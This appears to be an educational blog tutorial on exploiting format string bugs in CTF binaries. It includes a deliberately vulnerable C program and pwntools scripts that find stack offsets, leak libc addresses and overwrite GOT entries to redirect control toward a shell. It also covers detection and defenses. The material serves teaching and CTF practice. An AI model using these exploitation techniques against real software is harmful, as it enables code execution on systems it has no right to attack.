Ethical Hacking #format-string#binary-exploitation#pwn

Format String Vulnerabilities: Exploitation Guide

Understand how %n and %x enable memory reads and writes, find format string bugs in CTF binaries, and exploit them with pwntools.

7 min read

Format string vulnerabilities are one of those bugs that look innocuous — a missing argument to printf — yet enable some of the most powerful exploitation primitives: arbitrary memory reads and arbitrary memory writes. They appear regularly in CTF challenges and occasionally in real-world code. Understanding them from first principles makes you a significantly better binary analyst.

The Root Cause

The vulnerability occurs when user-controlled data is passed directly as the format string argument to functions like printf, fprintf, sprintf, or syslog.

Safe:

printf("%s", user_input);

Vulnerable:

printf(user_input);

In the vulnerable version, if user_input contains format specifiers like %x, %s, or %n, printf interprets them against whatever values happen to be on the stack — values the programmer never intended to expose.

How %x Reads Memory

printf expects its format specifiers to correspond to arguments pushed onto the stack (or passed in registers on x86-64). When you provide more specifiers than arguments, printf reads further up the stack.

// Vulnerable program
#include <stdio.h>
int main() {
    char buf[100];
    fgets(buf, sizeof(buf), stdin);
    printf(buf);  // vulnerability
    return 0;
}

Send: %x.%x.%x.%x

Output might be: f7fc5580.0.0.61616161

Each %x reads 4 bytes from the stack and prints them as hex. The last value (0x61616161 = “aaaa”) is likely data you provided earlier in the buffer — you can confirm this by adjusting your input. This confirms the stack layout and lets you find the offset to your own buffer.

Finding the Buffer’s Position on the Stack

from pwn import *

io = process("./vuln")

# Try each offset until we see our marker (0x41414141)
for i in range(1, 50):
    io = process("./vuln")
    payload = f"AAAA.%{i}$x"
    io.sendline(payload.encode())
    result = io.recv()
    print(f"Offset {i}: {result}")
    io.close()

When you see 41414141 at offset n, your buffer starts at position n on the stack.

How %n Writes Memory

%n writes the number of bytes printed so far to the address pointed to by the corresponding argument. This is the write primitive.

int count;
printf("Hello%n", &count);
// count is now 5

In a format string vulnerability, you can place an address at a known stack offset, then use %<n>$n to write to that address. This enables:

  • Overwriting function pointers
  • Overwriting GOT entries to redirect calls
  • Overwriting return addresses

Writing a Specific Value

To write the value 0x41 (65), print 65 characters before %n:

%65c%7$n

This prints 65 characters (padding from %65c), then %7$n writes 65 to the address at stack position 7.

For larger values (like a full address), use %hn (write 2 bytes) or %hhn (write 1 byte) to avoid printing millions of characters.

pwntools Format String Automation

pwntools includes fmtstr_payload() — a powerful helper that generates format string payloads for arbitrary writes:

from pwn import *

io = process("./vuln")
elf = ELF("./vuln")

# Find the offset (where your input appears on the stack)
offset = 6  # determined via manual testing

# Target: overwrite GOT entry for exit() with address of win()
target = elf.got["exit"]
value  = elf.sym["win"]

payload = fmtstr_payload(offset, {target: value})
io.sendline(payload)
io.interactive()

fmtstr_payload handles the complex arithmetic of writing multi-byte values using %hn writes, making what used to be a hours-long manual process a one-liner.

Leaking Memory with %s

While %x prints stack values as integers, %s dereferences the stack value as a pointer and prints the string it points to. This is useful for leaking addresses from the GOT:

# Leak the runtime address of printf from the GOT
got_printf = elf.got["printf"]

payload = p32(got_printf) + b".%1$s"  # 32-bit example
io.sendline(payload)
response = io.recvuntil(b".")
leaked = u32(response[-4:])
print(f"printf @ {hex(leaked)}")

# Calculate libc base
libc_base = leaked - libc.sym["printf"]

Finding Format String Bugs

Static Analysis

# Grep source code for dangerous patterns
grep -rn "printf(.*user" src/
grep -rn 'printf($' src/  # printf called with single variable

In binaries, look for calls where the format argument comes directly from user input without being wrapped in "%s".

Dynamic Detection with GDB

gdb ./vuln
break printf
run
# Input: %x.%x.%x
# If printf's first arg is your input string, it's vulnerable

AFL/Fuzzing

Format string bugs are detectable by fuzzing with format specifier inputs: %n, %s, %x, %p. If the program crashes on %s or %n (segfault from bad pointer dereference), you’ve found one.

Practical CTF Approach

A typical CTF format string challenge goes like this:

  1. Identify the bug: Run with %x.%x.%x.%x — do you see hex output?
  2. Find your offset: Send AAAA.%1$x, AAAA.%2$x, … until you see 41414141
  3. Leak a libc address: Use %<offset>$s to read a GOT entry
  4. Calculate libc base: Subtract the known offset of the leaked function
  5. Overwrite a function pointer: Use fmtstr_payload() to redirect control
  6. Get a shell: Aim for system or a one-gadget from libc

Defenses and Why They Matter

DefenseEffect
Always use printf("%s", input)Prevents format specifier interpretation
Full RELROMakes GOT read-only, blocking GOT overwrites
Compiler warningsGCC -Wformat-security catches suspicious printf calls
Static analysis (Coverity, Semgrep)Catches the vulnerable pattern at code review

Format string bugs are largely preventable with a single coding discipline: never pass untrusted input as a format string. For analysts, they represent one of the most elegant exploitation paths in binary security.

#ctf #pwntools #pwn #binary-exploitation #format-string